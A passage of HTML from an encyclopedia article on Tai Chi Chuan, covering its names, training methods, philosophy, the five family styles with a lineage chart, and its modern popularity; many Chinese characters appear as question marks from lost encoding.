<td><a href="http://en.wiktionary.org/wiki/%E5%A4%AA" class="extiw" title="wiktionary:?">?</a><a href="http://en.wiktionary.org/wiki/%E6%A5%B5" class="extiw" title="wiktionary:?">?</a><a href="http://en.wiktionary.org/wiki/%E6%8B%B3" class="extiw" title="wiktionary:?">?</a></td>
</tr>
<tr>
<td><a href="/wiki/Cantonese_%28linguistics%29" title="Cantonese (linguistics)">Cantonese</a></td>
<td>taai3 gik6 kyun4</td>
</tr>
<tr>
<td><a href="/wiki/Hiragana" title="Hiragana">Japanese Hiragana</a></td>
<td>???????</td>
</tr>
<tr>
<td><a href="/wiki/Korean_%28language%29" title="Korean (language)">Korean</a></td>
<td>???</td>
</tr>
<tr>
<td><a href="/wiki/Vietnamese_%28language%29" title="Vietnamese (language)">Vietnamese</a></td>
<td>Th�i C?c Quy?n</td>
</tr>
</table>
<p><b>Tai Chi Chuan</b>, <b>T'ai Chi Ch'�an</b> or <b>Taijiquan</b> (<a href="/wiki/Traditional_Chinese_character" title="Traditional Chinese character">Traditional Chinese</a>: ???; <a href="/wiki/Simplified_Chinese_character" title="Simplified Chinese character">Simplified Chinese</a>: ???; <a href="/wiki/Pinyin" title="Pinyin">pinyin</a>: T�ij�qu�n; literally "supreme ultimate fist"), commonly known as <b>Tai Chi</b>, <b>T'ai Chi</b>, or <b><a href="/wiki/Taiji" title="Taiji">Taiji</a></b>, is an <a href="/wiki/Neijia" title="Neijia">internal</a> <a href="/wiki/Chinese_martial_arts" title="Chinese martial arts">Chinese martial art</a>. There are different styles of T'ai Chi Ch'�an, although most agree they are all based on the system originally taught by the <a href="/wiki/Chen" title="Chen">Chen</a> family to the <a href="/wiki/Yang" title="Yang">Yang</a> family starting in <a href="/wiki/1820" title="1820">1820</a>. It is often promoted and practiced as a <a href="/wiki/Martial_arts_therapy" title="Martial arts therapy">martial arts therapy</a> for the purposes of <a href="/wiki/Health" title="Health">health</a> and <a href="/wiki/Longevity" title="Longevity">longevity</a>, (some <a href="/wiki/Tai_Chi_Chuan#Citations_to_medical_research" title="Tai Chi Chuan">recent medical studies</a> support its effectiveness). T'ai Chi Ch'�an is considered a <i>soft</i> style martial art, an art applied with as complete a relaxation or "softness" in the musculature as possible, to distinguish its theory and application from that of the <i>hard</i> martial art styles which use a degree of tension in the muscles.</p>
<p>Variations of T'ai Chi Ch'�an's basic training forms are well known as the slow motion routines that groups of people practice every morning in parks across China and other parts of the world. Traditional T'ai Chi training is intended to teach awareness of one's own balance and what affects it, awareness of the same in others, an appreciation of the practical value in one's ability to moderate extremes of behavior and attitude at both mental and physical levels, and how this applies to effective self-defense principles.</p>
<table id="toc" class="toc" summary="Contents">
<tr>
<td>
<div id="toctitle">
<h2>Contents</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Overview"><span class="tocnumber">1</span> <span class="toctext">Overview</span></a></li>
<li class="toclevel-1"><a href="#Training_and_techniques"><span class="tocnumber">2</span> <span class="toctext">Training and techniques</span></a></li>
<li class="toclevel-1"><a href="#Styles_and_history"><span class="tocnumber">3</span> <span class="toctext">Styles and history</span></a>
<ul>
<li class="toclevel-2"><a href="#Family_tree"><span class="tocnumber">3.1</span> <span class="toctext">Family tree</span></a></li>
<li class="toclevel-2"><a href="#Notes_to_Family_tree_table"><span class="tocnumber">3.2</span> <span class="toctext">Notes to Family tree table</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#Modern_T.27ai_Chi"><span class="tocnumber">4</span> <span class="toctext">Modern T'ai Chi</span></a>
<ul>
<li class="toclevel-2"><a href="#Modern_forms"><span class="tocnumber">4.1</span> <span class="toctext">Modern forms</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#Health_benefits"><span class="tocnumber">5</span> <span class="toctext">Health benefits</span></a>
<ul>
<li class="toclevel-2"><a href="#Citations_to_medical_research"><span class="tocnumber">5.1</span> <span class="toctext">Citations to medical research</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#See_also"><span class="tocnumber">6</span> <span class="toctext">See also</span></a></li>
<li class="toclevel-1"><a href="#External_links"><span class="tocnumber">7</span> <span class="toctext">External links</span></a></li>
</ul>
</td>
</tr>
</table>
<p><script type="text/javascript">
//<![CDATA[
if (window.showTocToggle) { var tocShowText = "show"; var tocHideText = "hide"; showTocToggle(); }
//]]>
</script></p>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=1" title="Edit section: Overview">edit</a>]</div>
<p><a name="Overview" id="Overview"></a></p>
<h2>Overview</h2>
<p>Historically, T'ai Chi Ch'�an has been regarded as a martial art, and its traditional practitioners still teach it as one. Even so, it has developed a worldwide following among many thousands of people with little or no interest in martial training for its aforementioned benefits to health and <a href="/wiki/Preventive_medicine" title="Preventive medicine">health maintenance</a>. Some call it a form of moving <a href="/wiki/Meditation" title="Meditation">meditation</a>, and T'ai Chi theory and practice evolved in agreement with many of the principles of <a href="/wiki/Traditional_Chinese_medicine" title="Traditional Chinese medicine">traditional Chinese medicine</a>. Besides general health benefits and <a href="/wiki/Stress_management" title="Stress management">stress management</a> attributed to beginning and intermediate level T'ai Chi training, many therapeutic interventions along the lines of traditional Chinese medicine are taught to advanced T'ai Chi students.</p>
<p>T'ai Chi Ch'�an as physical training is characterized by its requirement for the use of leverage through the joints based on coordination in relaxation rather than muscular tension in order to neutralize or initiate physical attacks. The slow, repetitive work involved in that process is said to gently increase and open the internal circulation (<a href="/wiki/Breath" title="Breath">breath</a>, body heat, <a href="/wiki/Blood" title="Blood">blood</a>, <a href="/wiki/Lymph" title="Lymph">lymph</a>, <a href="/wiki/Peristalsis" title="Peristalsis">peristalsis</a>, etc.). Over time, proponents say, this enhancement becomes a lasting effect, a direct reversal of the constricting physical effects of stress on the human body. This reversal allows much more of the students' native energy to be available to them, which they may then apply more effectively to the rest of their lives; families, careers, spiritual or creative pursuits, hobbies, etc.</p>
<p>The study of T'ai Chi Ch'�an involves three primary subjects:</p>
<ul>
<li><b>Health</b> - an unhealthy or otherwise uncomfortable person will find it difficult to meditate to a state of calmness or to use T'ai Chi as a martial art. T'ai Chi's health training therefore concentrates on relieving the physical effects of stress on the body and mind.</li>
<li><b>Meditation</b> - the focus meditation and subsequent calmness cultivated by the meditative aspect of T'ai Chi is seen as necessary to maintain optimum health (in the sense of effectively maintaining stress relief or <a href="/wiki/Homeostasis" title="Homeostasis">homeostasis</a>) and in order to use it as a soft style martial art.</li>
<li><b>Martial art</b> - the ability to competently use T'ai Chi as a martial art is said to be proof that the health and meditation aspects are working according to the dictates of the theory of T'ai Chi Ch'�an.</li>
</ul>
<p>In its traditional form (many modern variations exist which ignore at least one of the above requirements) every aspect of its training has to conform with all three of the aforementioned categories.</p>
<p>The <a href="/wiki/Mandarin_%28linguistics%29" title="Mandarin (linguistics)">Mandarin</a> term "T'ai Chi Ch'�an" translates as "Supreme Ultimate Boxing" or "Boundless Fist". T'ai Chi training involves learning solo routines, known as <i>forms</i>, and two person routines, known as <i><a href="/wiki/Pushing_hands" title="Pushing hands">pushing hands</a></i>, as well as <i><a href="/wiki/Acupressure" title="Acupressure">acupressure</a></i>-related manipulations taught by traditional schools. T'ai Chi Ch'�an is seen by many of its schools as a variety of <a href="/wiki/Taoism" title="Taoism">Taoism</a>, and it does seemingly incorporate many Taoist principles into its practice (see below). It is an art form said to date back many centuries (although not reliably documented under that name before 1850), with precursor disciplines dating back thousands of years. The explanation given by the traditional T'ai Chi family schools for why so many of their previous generations have dedicated their lives to the study and preservation of the art is that the discipline it seems to give its students to dramatically improve the effects of stress in their lives, with a few years of hard work, should hold a useful purpose for people living in a stressful world. They say that once the T'ai Chi principles have been understood and internalized into the bodily framework the practitioner will have an immediately accessible "toolkit" thereby to improve and then maintain their health, to provide a meditative focus, and that can work as an effective and subtle martial art for self-defense.</p>
<p>Teachers say the study of T'ai Chi Ch'�an is, more than anything else, about challenging one's ability to change oneself appropriately in response to outside forces. These principles are taught using the examples of <a href="/wiki/Physics" title="Physics">physics</a> as experienced by two (or more) bodies in <a href="/wiki/Combat" title="Combat">combat</a>. In order to be able to protect oneself or someone else by using change, it is necessary to understand what the consequences are of changing appropriately, changing inappropriately and not changing at all in response to an attack. Students, by this theory, will appreciate the full benefits of the entire art in the fastest way through physical training of the martial art aspect.</p>
<p><a href="/wiki/Wu_Chien-ch%27uan" title="Wu Chien-ch'uan">Wu Chien-ch'�an</a>, co-founder of the Wu family style, described the name <i>T'ai Chi Ch'�an</i> this way at the beginning of the <a href="/wiki/20th_century" title="20th century">20th century</a>:</p>
<dl>
<dd>"Various people have offered different explanations for the name <i>T'ai Chi Ch'uan</i>. Some have said: 'In terms of self-cultivation, one must train from a state of movement towards a state of stillness. <i>T'ai Chi</i> comes about through the balance of <i><a href="/wiki/Yin" title="Yin">yin</a></i> and <i><a href="/wiki/Yang" title="Yang">yang</a></i>. In terms of the art of attack and defense then, in the context of the <a href="/wiki/I_Ching" title="I Ching">changes</a> of full and empty, one is constantly internally latent, not outwardly expressive, as if the <i>yin</i> and <i>yang</i> of <i>T'ai Chi</i> have not yet divided apart.'</dd>
<dd>Others say: 'Every movement of <i>T'ai Chi Ch'uan</i> is based on circles, just like the shape of a <a href="/wiki/Taijitu" title="Taijitu"><i>T'ai Chi</i> symbol</a>. Therefore, it is called <i>T'ai Chi Ch'uan</i>.' Both explanations are quite reasonable, especially the second, which is more complete."</dd>
</dl>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=2" title="Edit section: Training and techniques">edit</a>]</div>
<p><a name="Training_and_techniques" id="Training_and_techniques"></a></p>
<h2>Training and techniques</h2>
<div class="thumb tright">
<div style="width:182px;"><a href="/wiki/Image:Yin_yang.svg" class="internal" title="The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/1/17/Yin_yang.svg/180px-Yin_yang.svg.png" alt="The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)" width="180" height="180" longdesc="/wiki/Image:Yin_yang.svg" /></a>
<div class="thumbcaption">
<div class="magnify" style="float:right"><a href="/wiki/Image:Yin_yang.svg" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
<b>The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)</b></div>
</div>
</div>
<p>As the name <i>T'ai Chi Ch'�an</i> is held to be derived from the T'ai Chi symbol, the <i>taijitu</i> or <i>t'ai chi t'u</i> (???, <a href="/wiki/Pinyin" title="Pinyin">pinyin</a> t�ij�t�), commonly known in the West as the "<a href="/wiki/Yin-yang" title="Yin-yang">yin-yang</a>" diagram, T'ai Chi Ch'�an techniques are said therefore to physically and energetically balance <i>yin</i> (receptive) and <i>yang</i> (active) principles: "From ultimate softness comes ultimate hardness."</p>
<p>The core training involves two primary features: the first being the solo form or <i>ch'�an</i>, a slow sequence of movements which emphasize a straight spine, relaxed breathing and a natural range of motion; the second being different styles of <i>pushing hands</i> or <i>t'ui shou</i> (??) for training "stickiness" and sensitivity in the reflexes through various motions from the forms in concert with a training partner in order to learn leverage, timing, coordination and positioning when interacting with another. Pushing hands is seen as necessary not only for training the self-defense skills of a soft style such as T'ai Chi by demonstrating the forms' movement principles experientially, but also it is said to improve upon the level of conditioning provided by practice of the solo forms by increasing the workload on students while they practice those movement principles.</p>
<p>The solo form should take the students through a complete, natural, range of motion over their centre of gravity. Accurate, repeated practice of the solo routine is said to retrain posture, encourage circulation throughout the students' bodies, maintain flexibility through their joints and further familiarize students with the martial application sequences implied by the forms. The major traditional styles of T'ai Chi have forms which differ somewhat cosmetically, but there are also many obvious similarities which point to their common origin. The solo forms, empty-hand and <a href="/wiki/Weapon" title="Weapon">weapon</a>, are catalogues of movements that are practised individually in pushing hands and martial application scenarios to prepare students for self-defence training. In most traditional schools different variations of the solo forms can be practiced; fast/slow, small circle/large circle, square/round (which are different expressions of leverage through the joints), low sitting/high sitting (the degree to which weight-bearing knees are kept bent throughout the form), for example.</p>
<p>In a fight, if one uses hardness to resist violent force then both sides are certain to be injured, at least to some degree. Such injury, according to T'ai Chi theory, is a natural consequence of meeting brute force with brute force. The collision of two like forces, yang with yang, is known as "double-weighted" in T'ai Chi terminology. Instead, students are taught not to fight or resist an incoming force, but to meet it in softness and "stick" to it, following its motion while remaining in physical contact until the incoming force of attack exhausts itself or can be safely redirected, the result of meeting yang with yin. Done correctly, achieving this yin/yang or yang/yin balance in combat (and, by extension, other areas of one's life) is known as being "single-weighted" and is a primary goal of T'ai Chi Ch'�an training. <a href="/wiki/Lao_Tzu" title="Lao Tzu">Lao Tzu</a> provided the <a href="/wiki/Archetype" title="Archetype">archetype</a> for this in the <a href="/wiki/Tao_Te_Ching" title="Tao Te Ching">Tao Te Ching</a> when he wrote, "The soft and the pliable will defeat the hard and strong." This soft "neutralization" of an attack can be accomplished very quickly in an actual fight by an adept practitioner. A T'ai Chi student has to be well conditioned by many years of disciplined training; stable, sensitive and elastic mentally and physically in order to realize this ability, however.</p>
<p>Other training exercises include:</p>
<ul>
<li>Weapons training and <a href="/wiki/Fencing" title="Fencing">fencing</a> applications employing the straight <i><a href="/wiki/Sword" title="Sword">sword</a></i> known as the <i>jian</i> or <i>chien</i> or <i>gim</i> (<a href="/wiki/Jian" title="Jian">ji�n</a> ?), a heavier curved <i>sabre</i>, sometimes called a <i>broadsword</i> or <i>tao</i> (<a href="/wiki/Dao_%28saber%29" title="Dao (saber)">dao</a> ?, which is actually considered a big <i><a href="/wiki/Knife" title="Knife">knife</a></i>), folding <i><a href="/wiki/Tessen" title="Tessen">fan</a></i>, <i>staff</i> (?), 7 foot (2 m) <i><a href="/wiki/Qiang_%28spear%29" title="Qiang (spear)">spear</a></i> and 13 foot (4 m) <i><a href="/wiki/Lance" title="Lance">lance</a></i> (both called qiang ?). More exotic weapons still used by some traditional styles are the large <i>Da Dao</i> or <i>Ta Tao</i> (??) sabre, <i><a href="/wiki/Ji_%28halberd%29" title="Ji (halberd)">halberd</a></i> (ji ?), <i>cane</i>, <i>rope-dart</i>, <i><a href="/wiki/Three_sectional_staff" title="Three sectional staff">three sectional staff</a></i>, <i><a href="/wiki/Lasso" title="Lasso">lasso</a></i>, <i><a href="/wiki/Whip" title="Whip">whip</a></i>, <i><a href="/wiki/Chain_whip" title="Chain whip">chain whip</a></i> and <i>steel whip</i>.</li>
<li>Two-person tournament sparring (as part of push hands competitions and/or <i><a href="/wiki/San_shou" title="San shou">san shou</a></i> ??);</li>
<li>Breathing exercises; <i><a href="/wiki/Nei_kung" title="Nei kung">nei kung</a></i> (?? n�igong) or, more commonly, <i><a href="/wiki/Ch%27i_kung" title="Ch'i kung">ch'i kung</a></i> (?? q�gong) to develop <b><a href="/wiki/Ch%27i" title="Ch'i">ch'i</a></b> (? q�) or "breath energy" in coordination with physical movement and <a href="/wiki/Zhan_zhuang" title="Zhan zhuang">post standing</a> or combinations of the two. These were formerly taught only to disciples as a separate, complementary training system. In the last 50 years they have become more well known to the general public.</li>
</ul>
<p>T'ai Chi's martial aspect relies on sensitivity to the opponent's movements and centre of gravity dictating appropriate responses. Effectively affecting or "capturing" the opponent's centre of gravity immediately upon contact is trained as the primary goal of the martial T'ai Chi student, and from there all other technique can follow with seeming effortlessness. The alert calmness required to achieve the necessary sensitivity is acquired over thousands of hours of first <i>yin</i> (slow, repetitive, meditative, low impact) and then later adding <i>yang</i> ("realistic," active, fast, high impact) martial training; forms, pushing hands and sparring. T'ai Chi Ch'�an trains in three basic ranges, close, medium and long, and then everything in between. Pushes and open hand strikes are more common than punches, and kicks are usually to the legs and lower torso, never higher than the hip in most styles. The fingers, fists, palms, sides of the hands, wrists, forearms, elbows, shoulders, back, hips, knees and feet are commonly used to strike, with strikes to the eyes, throat, heart, groin and other acupressure points trained by advanced students. There is an extensive repertoire of joint traps, locks and breaks (<a href="/wiki/Chin_na" title="Chin na">chin na</a>), particularly applied to lock up or break an opponent's elbows, wrists, fingers, ankles, back or neck. Most T'ai Chi teachers expect their students to thoroughly learn defensive or neutralizing skills first, and a student will have to demonstrate proficiency with them before offensive skills will be extensively trained. There is also an emphasis in the traditional schools on kind-heartedness. One is expected to show mercy to one's opponents, as instanced by a poem preserved in some of the T'ai Chi families said to be derived from the <a href="/wiki/Shaolin" title="Shaolin">Shaolin</a> temple:</p>
<dl>
<dd>"I would rather maim than kill</dd>
<dd>Hurt than maim</dd>
<dd>Intimidate than hurt</dd>
<dd>Avoid than intimidate."</dd>
</dl>
<div class="thumb tright">
<div style="width:352px;"><a href="/wiki/Image:Martial_arts_-_Fragrant_Hills.JPG" class="internal" title="An outdoor Chen style class in Beijing"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/Martial_arts_-_Fragrant_Hills.JPG/350px-Martial_arts_-_Fragrant_Hills.JPG" alt="An outdoor Chen style class in Beijing" width="350" height="233" longdesc="/wiki/Image:Martial_arts_-_Fragrant_Hills.JPG" /></a>
<div class="thumbcaption">
<div class="magnify" style="float:right"><a href="/wiki/Image:Martial_arts_-_Fragrant_Hills.JPG" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
An outdoor Chen style class in Beijing</div>
</div>
</div>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=3" title="Edit section: Styles and history">edit</a>]</div>
<p><a name="Styles_and_history" id="Styles_and_history"></a></p>
<h2>Styles and history</h2>
<p>There are five major styles of T'ai Chi Ch'�an, each named after the Chinese family that teaches (or taught) it:</p>
<ul>
<li><b><a href="/wiki/Chen_style_Tai_Chi_Chuan" title="Chen style Tai Chi Chuan">Chen style</a></b> (??) and its close cousin <b><a href="/w/index.php?title=Zhaobao_style_T%27ai_Chi_Ch%27uan&action=edit" class="new" title="Zhaobao style T'ai Chi Ch'uan">Zhao Bao Style</a></b> (?????)</li>
<li><b><a href="/wiki/Yang_style_T%27ai_Chi_Ch%27uan" title="Yang style T'ai Chi Ch'uan">Yang style</a></b> (??)</li>
<li><b><a href="/wiki/Wu/Hao_style_T%27ai_Chi_Ch%27uan" title="Wu/Hao style T'ai Chi Ch'uan">Wu or Wu/Hao style of Wu Yu-hsiang</a></b> (??)</li>
<li><b><a href="/wiki/Wu_style_T%27ai_Chi_Ch%27uan" title="Wu style T'ai Chi Ch'uan">Wu style of Wu Ch'uan-y� and Wu Chien-ch'uan</a></b> (??)</li>
<li><b><a href="/wiki/Sun_style_T%27ai_Chi_Ch%27uan" title="Sun style T'ai Chi Ch'uan">Sun style</a></b> (??)</li>
</ul>
<p>The order of seniority is as listed above. The order of popularity is Yang, Wu, Chen, Sun, and Wu/Hao. The first five major family styles share much underlying theory, but differ in their approaches to training.</p>
<p>In the modern world there are now dozens of new styles, hybrid styles and offshoots of the main styles, but the five family schools are the groups recognised by the international community as being orthodox. For example, there are <i>several</i> groups teaching what they call <a href="/wiki/Wudang_Tai_Chi_Chuan" title="Wudang Tai Chi Chuan">Wu Tang style T'ai Chi Ch'�an (??????)</a>. The best known modern style going by the name <i>Wu Tang</i> has gained some publicity internationally, especially in the <a href="/wiki/United_Kingdom" title="United Kingdom">UK</a> and <a href="/wiki/Europe" title="Europe">Europe</a>, but was originally taught by a senior student of the Wu (?) style.</p>
<p>The designation <i><a href="/wiki/Wudangquan" title="Wudangquan">Wu Tang Ch'�an</a></i> is also used to broadly distinguish <i>internal</i> or <i>nei chia</i> martial arts (said to be a specialty of the <a href="/wiki/Monasteries" title="Monasteries">monasteries</a> at <a href="/wiki/Wudangshan" title="Wudangshan">Wu Tang Shan</a>) from what are known as the <i>external</i> or <i>wei chia</i> styles based on <i><a href="/w/index.php?title=Shaolinquan_kung_fu&action=edit" class="new" title="Shaolinquan kung fu">Shaolinquan kung fu</a></i>, although that distinction is sometimes disputed by individual schools. In this broad sense, among many T'ai Chi schools <i>all</i> styles of T'ai Chi (as well as related arts such as <a href="/wiki/Bagua_zhang" title="Bagua zhang">Pa Kua Chang</a> and <a href="/wiki/Hsing_Yi" title="Hsing Yi">Hsing-i Ch'�an</a>) are therefore considered to be "Wu Tang style" martial arts. The schools that designate themselves "Wu Tang style" relative to the family styles mentioned above mostly claim to teach an "original style" they say was formulated by a Taoist monk called <a href="/wiki/Zhang_Sanfeng" title="Zhang Sanfeng">Zhang Sanfeng</a> and taught by him in the Taoist monasteries at Wu Tang Shan. Some consider that what is practised under that name today may be a modern back-formation based on stories and popular veneration of Zhang Sanfeng (see below) as well as the martial fame of the Wu Tang monastery (there are many other martial art styles historically associated with Wu Tang besides T'ai Chi).</p>
<p>When tracing T'ai Chi Ch'�an's formative influences to <a href="/wiki/Taoist" title="Taoist">Taoist</a> and <a href="/wiki/Buddhist" title="Buddhist">Buddhist</a> monasteries, one has little more to go on than legendary tales from a modern historical perspective, but T'ai Chi Ch'�an's practical connection to and dependence upon the theories of <a href="/wiki/Song_dynasty" title="Song dynasty">Sung dynasty</a> <a href="/wiki/Neo-Confucianism" title="Neo-Confucianism">Neo-Confucianism</a> (a conscious synthesis of Taoist, Buddhist and <a href="/wiki/Confucian" title="Confucian">Confucian</a> traditions, esp. the teachings of <a href="/wiki/Mencius" title="Mencius">Mencius</a>) is readily apparent to its practitioners. The philosophical and political landscape of that time in Chinese history is fairly well documented, even if the origin of the art later to become known as T'ai Chi Ch'�an in it is not. T'ai Chi Ch'�an's theories and practice are therefore believed by some schools to have been formulated by the Taoist monk <a href="/wiki/Zhang_Sanfeng" title="Zhang Sanfeng">Zhang Sanfeng</a> in the 12th century, a time frame fitting well with when the principles of the Neo-Confucian school were making themselves felt in Chinese intellectual life. Therefore the didactic story is told that Zhang Sanfeng as a young man studied <a href="/wiki/Tao_Yin" title="Tao Yin">Tao Yin</a> (??, <a href="/wiki/Pinyin" title="Pinyin">Pinyin</a> daoyin) breathing exercises from his Taoist teachers and martial arts at the Buddhist Shaolin monastery, eventually combining the martial forms and breathing exercises to formulate the soft or internal principles we associate with T'ai Chi Ch'�an and related martial arts. Its subsequent fame attributed to his teaching, Wu Tang monastery was known thereafter as an important martial center for many centuries, its many styles of internal <a href="/wiki/Kung_fu" title="Kung fu">kung fu</a> preserved and refined at various Taoist temples.</p>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=4" title="Edit section: Family tree">edit</a>]</div>
<p><a name="Family_tree" id="Family_tree"></a></p>
<h3>Family tree</h3>
<p>This family tree is not comprehensive.</p>
<pre>
<b>LEGENDARY FIGURES</b>
|
<a href="/wiki/Zhang_Sanfeng" title="Zhang Sanfeng">Zhang Sanfeng</a>*
circa 12th century
<a href="/wiki/Nei_chia" title="Nei chia">NEI CHIA</a>
|
<a href="/w/index.php?title=Wang_Zongyue&action=edit" class="new" title="Wang Zongyue">Wang Zongyue</a>*
T'AI CHI CH'�AN
|
<b>THE 5 MAJOR CLASSICAL FAMILY STYLES</b>
|
Chen Wangting
1600-1680 9th generation Chen
<a href="/wiki/Chen_style_Tai_Chi_Chuan" title="Chen style Tai Chi Chuan">CHEN STYLE</a>
|
+-------------------------------------------------------------------+
| |
<a href="/w/index.php?title=Chen_Changxing&action=edit" class="new" title="Chen Changxing">Chen Changxing</a> <a href="/w/index.php?title=Chen_Youben&action=edit" class="new" title="Chen Youben">Chen Youben</a>
1771-1853 14th generation Chen circa 1800s 14th generation Chen
Chen Old Frame Chen New Frame
| |
<a href="/wiki/Yang_Lu-ch%27an" title="Yang Lu-ch'an">Yang Lu-ch'an</a> <a href="/w/index.php?title=Chen_Qingping&action=edit" class="new" title="Chen Qingping">Chen Qingping</a>
1799-1872 1795-1868
<a href="/wiki/Yang_style_Tai_Chi_Chuan" title="Yang style Tai Chi Chuan">YANG STYLE</a> Chen Small Frame, Zhao Bao Frame
| |
+---------------------------------+-----------------------------+ |
| | | |
<a href="/wiki/Yang_Pan-hou" title="Yang Pan-hou">Yang Pan-hou</a> <a href="/wiki/Yang_Chien-hou" title="Yang Chien-hou">Yang Chien-hou</a> <a href="/w/index.php?title=Wu_Yu-hsiang&action=edit" class="new" title="Wu Yu-hsiang">Wu Yu-hsiang</a>
1837-1892 1839-1917 1812-1880
Yang Small Frame | <a href="/wiki/Wu/Hao_style_T%27ai_Chi_Ch%27uan" title="Wu/Hao style T'ai Chi Ch'uan">WU/HAO STYLE</a>
| +-----------------+ |
| | | |
<a href="/wiki/Wu_Ch%27uan-y%C3%BC" title="Wu Ch'uan-y�">Wu Ch'uan-y�</a> <a href="/wiki/Yang_Shao-hou" title="Yang Shao-hou">Yang Shao-hou</a> <a href="/wiki/Yang_Ch%27eng-fu" title="Yang Ch'eng-fu">Yang Ch'eng-fu</a> <a href="/w/index.php?title=Li_I-y%C3%BC&action=edit" class="new" title="Li I-y�">Li I-y�</a>
1834-1902 1862-1930 1883-1936 1832-1892
| Yang Small Frame <a href="/wiki/103_form_Yang_family_T%27ai_Chi_Ch%27uan" title="103 form Yang family T'ai Chi Ch'uan">Yang Big Frame</a> |
<a href="/wiki/Wu_Chien-ch%27%C3%BCan" title="Wu Chien-ch'�an">Wu Chien-ch'�an</a> | <a href="/wiki/Hao_Wei-chen" title="Hao Wei-chen">Hao Wei-chen</a>
1870-1942 <a href="/wiki/Yang_Shou-chung" title="Yang Shou-chung">Yang Shou-chung</a> 1849-1920
<a href="/wiki/Wu_style_T%27ai_Chi_Ch%27uan" title="Wu style T'ai Chi Ch'uan">WU STYLE</a> 1910-1985 |
<a href="/wiki/108_form_Wu_family_T%27ai_Chi_Ch%27uan" title="108 form Wu family T'ai Chi Ch'uan">108 Form</a> |
| <a href="/wiki/Sun_Lu-t%27ang" title="Sun Lu-t'ang">Sun Lu-t'ang</a>
<a href="/wiki/Wu_Kung-i" title="Wu Kung-i">Wu Kung-i</a> 1861-1932
1900-1970 <a href="/wiki/Sun_style_T%27ai_Chi_Ch%27uan" title="Sun style T'ai Chi Ch'uan">SUN STYLE</a>
| |
<a href="/w/index.php?title=Wu_Ta-kuei&action=edit" class="new" title="Wu Ta-kuei">Wu Ta-kuei</a> <a href="/w/index.php?title=Sun_Hsing-i&action=edit" class="new" title="Sun Hsing-i">Sun Hsing-i</a>
1923-1970 1891-1929
<b>MODERN FORMS</b>
from Yang Ch`eng-fu
|
|
|
+--------------+
| |
<a href="/wiki/Cheng_Man-ch%27ing" title="Cheng Man-ch'ing">Cheng Man-ch'ing</a> |
1901-1975 |
Short (37) Form |
|
Chinese Sports Commission
1956
Beijing <a href="/wiki/24_Form" title="24 Form">24 Form</a>
.
.
1989
<a href="/wiki/42_Form_%28Competition_Form%29_T%27ai_Chi_Ch%27uan" title="42 Form (Competition Form) T'ai Chi Ch'uan">42 Competition Form</a>
(<a href="/wiki/Wushu" title="Wushu">Wushu</a> competition form combined from Sun, Wu, Chen, and Yang styles)
</pre>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=5" title="Edit section: Notes to Family tree table">edit</a>]</div>
<p><a name="Notes_to_Family_tree_table" id="Notes_to_Family_tree_table"></a></p>
<h3>Notes to Family tree table</h3>
<p>Names denoted by an asterisk are legendary or semilegendary figures in the lineage, which means their involvement in the lineage, while accepted by most of the major schools, isn't independently verifiable from known historical records.</p>
<p>The Cheng Man-ch'ing and <a href="/w/index.php?title=Chinese_Sports_Commission&action=edit" class="new" title="Chinese Sports Commission">Chinese Sports Commission</a> short forms are said to be derived from Yang family forms, but neither are recognized as Yang family T'ai Chi Ch'�an by current Yang family teachers. The Chen, Yang and Wu families are now promoting their own shortened demonstration forms for competitive purposes.</p>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=6" title="Edit section: Modern T'ai Chi">edit</a>]</div>
<p><a name="Modern_T.27ai_Chi" id="Modern_T.27ai_Chi"></a></p>
<h2>Modern T'ai Chi</h2>
<div class="thumb tright">
<div style="width:352px;"><a href="/wiki/Image:Taichi_shanghai_bund_2005.jpg" class="internal" title="Yang style in Shanghai"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Taichi_shanghai_bund_2005.jpg/350px-Taichi_shanghai_bund_2005.jpg" alt="Yang style in Shanghai" width="350" height="263" longdesc="/wiki/Image:Taichi_shanghai_bund_2005.jpg" /></a>
<div class="thumbcaption">
<div class="magnify" style="float:right"><a href="/wiki/Image:Taichi_shanghai_bund_2005.jpg" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
Yang style in Shanghai</div>
</div>
</div>
<p>T'ai Chi has become very popular in the last twenty years or so, as the <a href="/wiki/Baby_boomers" title="Baby boomers">baby boomers</a> age and T'ai Chi's reputation for ameliorating the effects of aging becomes more well-known. Hospitals, clinics, community and senior centers are all hosting T'ai Chi classes in communities around the world. As a result of this popularity, there has been some divergence between those who say they practice T'ai Chi primarily for fighting, those who practice it for its <a href="/wiki/Aesthetic" title="Aesthetic">aesthetic</a> appeal (as in the shortened, modern, theatrical "Taijiquan" forms of <a href="/wiki/Wushu" title="Wushu">wushu</a>, see below), and those who are more interested in its benefits to physical and mental health. The wushu aspect is primarily for show; the forms taught for those purposes are designed to earn points in competition and are mostly unconcerned with either health maintenance or martial ability. More traditional stylists still see the two aspects of health and martial arts as equally necessary pieces of the puzzle, the <i>yin</i> and <i>yang</i> of T'ai Chi Ch'�an. The T'ai Chi "family" schools therefore still present their teachings in a martial art context even though the majority of their students nowadays profess that they are primarily interested in training for the claimed health benefits.</p>
